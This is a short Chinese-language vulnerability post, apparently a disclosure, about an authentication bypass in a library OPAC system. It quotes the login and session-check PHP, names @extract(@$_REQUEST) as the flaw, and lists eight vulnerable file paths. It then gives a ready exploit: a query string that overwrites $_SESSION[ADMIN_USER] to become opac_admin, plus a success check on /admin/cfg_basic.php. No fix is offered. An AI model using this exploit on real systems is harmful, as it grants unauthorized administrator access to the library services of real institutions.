### 登陆页面
```
	session_start( );
	if ( isset( $_REQUEST['username'] ) )
	{
	    $strUser = trim( $_REQUEST['username'] );
	    $strInput = trim( $_REQUEST['passwd'] );
	    $strMsg = "用户名或者密码错误";
	    switch ( $strUser )
	    {
	        case "opac_admin" :
	            $strPassWd = $strPassWdFile;
	            $strMsg = verify_pwd( $strInput, $strPassWd );
	            if ( $strMsg == true )
	            {
	                $_SESSION['ADMIN_USER'] = $strUser;
	            }
	            $strUrl = "cfg_basic.php";
	            break;
```
### 其他页面判断
```
	if ( !isset( $_SESSION['ADMIN_USER'] ) )//不为空就OK了、、、
	{
	    header( "Location:login.php" );
	    exit( );
	}
```
### 漏洞点(多个文件存在)
```
	@extract( @$_REQUEST );
```
### 存在漏洞文件
```
	/recm/common.php
	/opac/openlink_ebk.php
	/opac/hw_center.php
	/opac/ajax_ebook.php
	/manual/common.php
	/calis/idp.php
	/calis/idp.noencode.php
	/top/top_custom.php
```
### 利用方法
1. 访问存在漏洞文件,并覆盖 session 值
	例如:
	```
	/recm/common.php?_SESSION[ADMIN_USER]=opac_admin
	```
2. 直接访问 `/admin/cfg_basic.php`
### 成功判断
访问 `/admin/cfg_basic.php` 文件获得`strSchoolName`、`aryBrowseClsShow`等标识字符串即为成功。
                      
                    
                  
                
              
             
        
          
全部评论 (1)